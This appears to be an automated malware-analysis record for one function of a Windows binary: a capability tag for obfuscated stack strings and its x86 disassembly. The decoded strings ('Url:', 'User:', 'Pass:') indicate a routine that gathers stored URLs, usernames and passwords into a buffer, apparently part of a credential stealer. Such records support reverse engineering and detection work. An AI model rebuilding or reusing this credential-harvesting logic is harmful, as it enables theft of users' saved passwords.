Function at 0x416087
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
add ecx, eax
mov eax, edi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], 0x800
mov dword [ebp - 0xc], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4160ac
mov esi, dword [ebp + 8]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
xor eax, eax
mov dword [ebp - 0x10], edx
xor edx, edx
mov word [ebp - 0x2c], dx
mov edx, dword [esi + 0xa08]
xor ecx, ecx
push 0x400
push edx
mov dword [ebp - 0x30], 0xa000d
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x78], 0x720055
mov dword [ebp - 0x74], 0x3a006c
mov dword [ebp - 0x70], 9
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x48], 0x730055
mov dword [ebp - 0x44], 0x720065
mov dword [ebp - 0x40], 0x9003a
mov word [ebp - 0x3c], ax
mov dword [ebp - 0x3a], eax
mov dword [ebp - 0x36], eax
mov word [ebp - 0x32], ax
mov dword [ebp - 0x60], 0x610050
mov dword [ebp - 0x5c], 0x730073
mov dword [ebp - 0x58], 0x9003a
mov word [ebp - 0x54], cx
mov dword [ebp - 0x52], eax
mov dword [ebp - 0x4e], eax
mov word [ebp - 0x4a], ax
mov dword [esi + 0xa0c], 4
call fcn.0041fa77
mov ecx, dword [esi + 0xa08]
push 6
lea eax, [ebp - 0x30]
push eax
push ecx
call fcn.0041fa47
mov eax, dword [esi + 0xa08]
push 0
lea edx, [ebp - 0x78]
push edx
push eax
call fcn.0041fdb7
lea ecx, [ebp - 0x78]
push ecx
call fcn.0041fc47
mov edx, dword [esi + 0xa08]
push 0
add eax, eax
add dword [esi + 0xa0c], eax
push edi
push edx
call fcn.0041fdb7
push edi
call fcn.0041fc47
mov ecx, dword [esi + 0xa08]
add eax, eax
add dword [esi + 0xa0c], eax
push 0
lea eax, [ebp - 0x30]
push eax
push ecx
call fcn.0041fdb7
lea edx, [ebp - 0x30]
add esp, 0x40
push edx
call fcn.0041fc47
add eax, eax
add esp, 4
add dword [esi + 0xa0c], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0x14]
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [eax + 0x18]
push 0
lea edx, [ebp - 0x18]
push edx
call ecx
test eax, eax
je 0x416357
mov ecx, dword [ebp - 4]
mov edi, dword [ecx]
mov edx, dword [ecx + 8]
mov eax, dword [ecx + 4]
add edx, edi
add edx, eax
cmp dword [ebp - 8], edx
jb 0x416345
mov edx, dword [ecx + 0x14]
add eax, edi
shr edx, 1
add eax, ecx
push ebx
lea ebx, [ecx + 0x24]
mov dword [ebp + 0xc], eax
test edx, edx
jle 0x416344
mov dword [ebp + 0x10], edx
jmp 0x41623c
mov eax, dword [ebp + 0xc]
mov edi, dword [ebx]
mov ecx, dword [esi + 0xa08]
add edi, eax
push 0
lea eax, [ebp - 0x48]
push eax
push ecx
call fcn.0041fdb7
lea edx, [ebp - 0x48]
push edx
call fcn.0041fc47
add eax, eax
add dword [esi + 0xa0c], eax
mov eax, dword [esi + 0xa08]
push 0
push edi
push eax
call fcn.0041fdb7
push edi
call fcn.0041fc47
mov edx, dword [esi + 0xa08]
push 0
lea ecx, [ebp - 0x30]
push ecx
add eax, eax
add dword [esi + 0xa0c], eax
push edx
call fcn.0041fdb7
lea eax, [ebp - 0x30]
push eax
call fcn.0041fc47
mov edx, dword [esi + 0xa08]
add eax, eax
add dword [esi + 0xa0c], eax
mov edi, dword [ebx + 0x10]
add edi, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x60]
push ecx
push edx
call fcn.0041fdb7
lea eax, [ebp - 0x60]
push eax
call fcn.0041fc47
mov ecx, dword [esi + 0xa08]
add esp, 0x40
push 0
add eax, eax
add dword [esi + 0xa0c], eax
push edi
push ecx
call fcn.0041fdb7
push edi
call fcn.0041fc47
add eax, eax
add dword [esi + 0xa0c], eax
mov eax, dword [esi + 0xa08]
push 0
lea edx, [ebp - 0x30]
push edx
push eax
call fcn.0041fdb7
lea ecx, [ebp - 0x30]
push ecx
call fcn.0041fc47
add eax, eax
add dword [esi + 0xa0c], eax
mov eax, dword [esi + 0xa08]
push 0
lea edx, [ebp - 0x30]
push edx
push eax
add ebx, 0x20
call fcn.0041fdb7
lea ecx, [ebp - 0x30]
push ecx
call fcn.0041fc47
add eax, eax
add dword [esi + 0xa0c], eax
add esp, 0x30
dec dword [ebp + 0x10]
jne 0x416239
mov ecx, dword [ebp - 4]
pop ebx
push ecx
push esi
call fcn.0041fa27
push 2
push esi
call fcn.0040f137
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret